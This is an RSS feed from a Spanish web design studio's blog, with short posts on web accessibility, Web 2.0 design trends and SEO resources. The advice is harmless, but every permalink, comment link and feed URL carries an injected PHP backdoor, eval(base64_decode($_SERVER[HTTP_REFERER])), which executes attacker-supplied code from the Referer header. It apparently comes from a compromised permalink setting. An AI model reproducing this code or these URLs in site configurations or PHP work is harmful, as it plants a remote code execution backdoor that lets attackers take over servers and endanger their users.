Diseño web y gráfico en Mallorca » accesibilidad http://www.3bajocero.com/blog 3bajocero.designstudio Thu, 03 Dec 2009 18:26:39 +0000 http://wordpress.org/?v=2.9.1 en hourly 1 Accesibilidad Web http://www.3bajocero.com/blog/2008/04/09/usabilidad-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2008/04/09/usabilidad-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Apr 2008 12:40:46 +0000 admin http://www.3bajocero.com/blog/?p=44 Al desarrollar un sitio web, hemos de hacerlo accesible, ahí van algunos consejos:

1. Estructurar el documento de forma que pueda ser leido sin los estilos, es lo más importante, hemos de utilizar cabeceras para describir los contenidos de las secciones, listados, etc…

2. Separar los enlaces consecutivos con algo más de un espacio blanco, ya que los lectores de pantalla pueden interpretar dos o más links consecutivos como único.

3. Escribir links con significado, siempre es mejor “leer artículo completo”, que “clic aquí”.

4. Utilizar descripciones para las imágenes, mediante el atributo ALT para describir las imágenes y el atributo LONGDESC para descripciones más largas. Utilizar el atributo ALT vacío (alt=”") para imágenes sin significado.

5. Mucho cuidado con utilizar sólo imágenes para enlaces. Sin atributo ALT, los lectores de pantalla no podrán mostrar el link. Usa siempre el ALT para que estos lectores usen la imagen con link.

6. Tablas: Indentificar cabeceras de fila y columna. Usar TH en vez de TD, y usar el elemento CAPTION para describir los contenidos de la tabla. Si no se usa el elemento CAPTION, usar el atributo TITLE par describir los contenidos en pocas palabras. Utilizar el atributo SUMMARY para describir el objetivo de la tabla.

7. Asegurarse de que la página web se puede ver aunque los scripts no vayan. No hay que depender de Javascript para poder navegar o ver el contenido. Si esto no es posible, provea a sus usuarios de maneras alternativas de acceder a los contenidos.

8. Color: es muy importante que lo que se presente a través de colores, se pueda ver sin ellos también, ya que si no mucha gente, como los daltónicos, no podrá entender el contenido.

9. Enlace a versión accesible de la web: Si no se puede crear la web de modo accesible, ponga un link a la versión accesible de la web.

10: Valide su web para chequear errores.

Y ahora… A aplicarse el cuento!!!!!!

Vía: http://webusabilityhelp.blogspot.com

]]> http://www.3bajocero.com/blog/2008/04/09/usabilidad-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Los cuatro aspectos esenciales del diseño web actual http://www.3bajocero.com/blog/2007/12/17/los-cuatro-aspectos-esenciales-del-diseno-web-actual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2007/12/17/los-cuatro-aspectos-esenciales-del-diseno-web-actual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 17 Dec 2007 08:38:21 +0000 admin http://www.3bajocero.com/blog/?p=30 Resumiendo, son estos:

  1. Código válido (que se ajuste a los estándares, puedes validarlo aqui: http://validator.w3.org/)
  2. Código accesible, para chequearlo puedes utilizar: http://www.accesible.com.ar/examinator/index.php
  3. Código semánticamente correcto, es decir que las etiquetas utilizadas en el código tenga relación con el contenido incluido en ellas.
  4. Separación de contenido y diseño, utiliza archivos css externos que le den forma al contenido.
]]> http://www.3bajocero.com/blog/2007/12/17/los-cuatro-aspectos-esenciales-del-diseno-web-actual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Web 2.0 http://www.3bajocero.com/blog/2007/12/11/web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2007/12/11/web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 11 Dec 2007 08:08:43 +0000 admin http://www.3bajocero.com/blog/?p=28 A estas alturas, aún parece que hay gente que no tiene claro lo que es la web 2.0. Esta imagen ilustra bastante bien el concepto.Web 2.0
Fuente: vincentabry

]]> http://www.3bajocero.com/blog/2007/12/11/web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Posicionamiento web… ese gran desconocido http://www.3bajocero.com/blog/2007/11/29/gran-ayuda-de-posicionamiento-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2007/11/29/gran-ayuda-de-posicionamiento-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Nov 2007 10:55:57 +0000 admin http://www.3bajocero.com/blog/?p=25 Si necesitas aclarar alguna duda sobre posicionamiento web, puedes encontrar respuestas a muchas cuestiones acerca de este tema en el foro de dirson, el cual, en cierto modo, te abre los ojos, ya que, cuando vas leyendo preguntas, comentarios… te vas dando cuenta de que realmente nadie sabe muy bien qué es lo mejor, de repente google cambia las reglas, lo que hoy vale, mañana no… subidas y bajadas inexplicables en webs, y muucho más.
Si estás interesado en el tema, visita: http://foros.dirson.com/index.php

]]> http://www.3bajocero.com/blog/2007/11/29/gran-ayuda-de-posicionamiento-web/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Diseño Web 2.0 http://www.3bajocero.com/blog/2007/08/22/diseno-web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.3bajocero.com/blog/2007/08/22/diseno-web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 22 Aug 2007 12:02:18 +0000 admin http://www.3bajocero.com/blog/?p=12 He encontrado estas pautas, en http://sentidoweb.com/2006/12/21/como-realizar-un-diseno-web-20.php, muy interesantes para el diseño de las tan de moda webs 2.0:

  • Simplicidad: cuanto más sencillo mejor, es necesario tener en cuenta que todos los sitios webs tienen sus metas y que cada página tiene su propósito. Es necesario obtener la atención del usuario, pero cuidado que su atención es algo que se acaba. La simplicidad es algo que siempre deberíamos tener en cuenta, elimininando contenido innecesario pero sin quitar funcionalidad.
  • Layout centrado: muy característico de la web 2.0 es tener en contenido centrado en la página.
  • Menos columnas: mientras que antes lo normal era un diseño en 4 columnas, ahora lo más utilizado son las dos columnas, evitando así llenar completamente la pantalla y reforzando el primer punto, la simplicidad.
  • Navegación arriba: separar la navegación del contenido principal no es nada nuevo, pero en este caso se resalta que se situe arriba.
  • Diferenciar distintas áreas: que a simple vista, cada área con diferente funcionalidad sea claramente diferenciable, incluso sin ser resaltadas con diferentes colores.
  • Navegación sencilla: debemos conseguir que el usuario sepa dónde está y a qué contenidos puede acceder desde donde está.
  • Logos en negrita: limpios, en negrita y fuertemente marcados.
  • Tamaño de texto grande: haciendo el texto grande se consigue mayor atención que con el texto pequeño.
  • Introducciones en negrita: consiguiendo así mayor impacto visual sobre las cosas más importantes.
  • Colores fuertes: usando colores brillantes y fuertes se consigue una separación de contenidos más sencilla.
  • Superficies con detalle: ya sea mediante sombras, resaltados, difuminados, que las superficies no sean simples, sino más realistas.
  • Gradientes
  • Reflejos
  • Iconos atractivos: es necesario que sean fácilmente reconocibles, que no provoquen confusión.
  • Contornos estrellados: sobre todo con el beta dentro

http://www.webdesignfromscratch.com/web-2.0-design-style-guide.cfm
Para aprender cómo realizar estas cositas en photoshop: tutorial aqui

]]> http://www.3bajocero.com/blog/2007/08/22/diseno-web-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0